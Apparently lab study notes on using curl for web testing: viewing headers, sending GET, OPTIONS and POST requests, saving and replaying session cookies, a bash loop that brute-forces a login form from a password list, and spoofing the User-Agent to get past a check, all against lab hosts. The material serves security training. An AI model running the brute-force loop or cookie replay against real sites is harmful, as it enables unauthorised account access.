Headers

Curl

curl -v http://example.com

Use head method (request only headers not the content)

curl -I -v http://example.com

Using Get method

curl -X GET demo.ine.local                                                                                                                                                             

Sending OPTIONS request (To check supported methods on the webpage)

curl -X OPTIONS demo.ine.local/login.php -v

curl -X POST demo.ine.local/login.php -d "name=john&password=password" -v

Sending POST Requests

Suppose you've found a login form whose POST target is /post.php. When you log in through a browser, it sends a POST request to the server containing the credentials you entered. We can simulate this directly from the terminal.

A normal login form submission might look like this:

root@attackbox:~# curl -X POST -d "username=user&password=user" http://10.49.140.211/post.php

You should get the reply Invalid credentials.

Here's what's happening:

• -X POST tells cURL to use the POST method.

• -d defines the data we're sending in the body of the request.

• The data will be sent in URL-encoded format, which is the same as what HTML forms use.

If the application expects additional fields, like a "Login" button or a CSRF token, they can be included too:

root@attackbox:~# curl -X POST -d "username=user&password=user&submit=Login" http://10.49.140.211/post.php

To view exactly what the server returns (including headers and potential redirects), add the -i flag:

root@attackbox:~# curl -i -X POST -d "username=user&password=user" http://10.49.140.211/post.php

If the site responds with a Set-Cookie header, that's a good sign, it means you've successfully logged in or at least triggered a session.

Using Cookies and Sessions

Once you log in, web applications use cookies to keep your session active. When you make another request with your browser, the cookie gets sent automatically, but with cURL, you need to handle it yourself.

You can do this in two steps:

Step 1: Save the cookies

root@attackbox:~# curl -c cookies.txt -d "username=admin&password=admin" http://10.49.140.211/session.php

• The -c option writes any cookies received from the server into a file (cookies.txt in this case).

• You'll often see a session cookie like PHPSESSID=xyz123.

Step 2: Reuse the saved cookies

root@attackbox:~# curl -b cookies.txt http://10.49.140.211/session.php

• The -b option tells cURL to send the saved cookies in the next request, just like a browser would.

This is exactly how session replay testing works, by replaying valid cookies in separate requests.

Automating Login and Performing Brute Force Using cURL

Now that we can send POST requests and manage sessions, it's time to automate things. Let's simulate a brute-force attack against a weak login form.

Start by creating a file called passwords.txt and place the following passwords inside it:

admin123
password
letmein
secretpass
secret

Then, create a simple bash loop called loop.sh to try each password against bruteforce.php and copy-paste the following code inside it:

for pass in $(cat passwords.txt); do
  echo "Trying password: $pass"
  response=$(curl -s -X POST -d "username=admin&password=$pass" http://10.49.140.211/bruteforce.php)
  if echo "$response" | grep -q "Welcome"; then
    echo "[+] Password found: $pass"
    break
  fi
done

Then add the execute permission to the script and run it, as shown below:

root@attackbox:~# chmod +x loop.sh
root@attackbox:~# ./loop.sh

Here's how this works:

• $(cat passwords.txt) reads each password from the file.

• curl -s sends the login request silently (no progress meter).

• The response is stored in a variable.

• grep -q checks if the response contains a success string (like “Welcome”).

• When found, it prints the working password and exits the loop.

This exact method underpins tools like Hydra, Burp Intruder, and WFuzz. By doing it manually, you understand what's happening under the hood: a repetitive HTTP POST with variable data, waiting for a different response.

Bypassing User-Agent Checks

Some applications block cURL by checking the User-Agent header. For example, the server may reject requests with: User-Agent: curl/7.x.x

To specify a custom user-agent, we can use the -A flag:

root@attackbox:~# curl -A "internalcomputer" http://10.49.140.211/ua_check.php

To confirm the check:

root@attackbox:~# curl -i http://10.49.140.211/ua_check.php
root@attackbox:~# curl -i -A "internalcomputer" http://10.49.140.211/ua_check.php

If the first fails and the second succeeds, the UA check is working, and you've bypassed it by spoofing.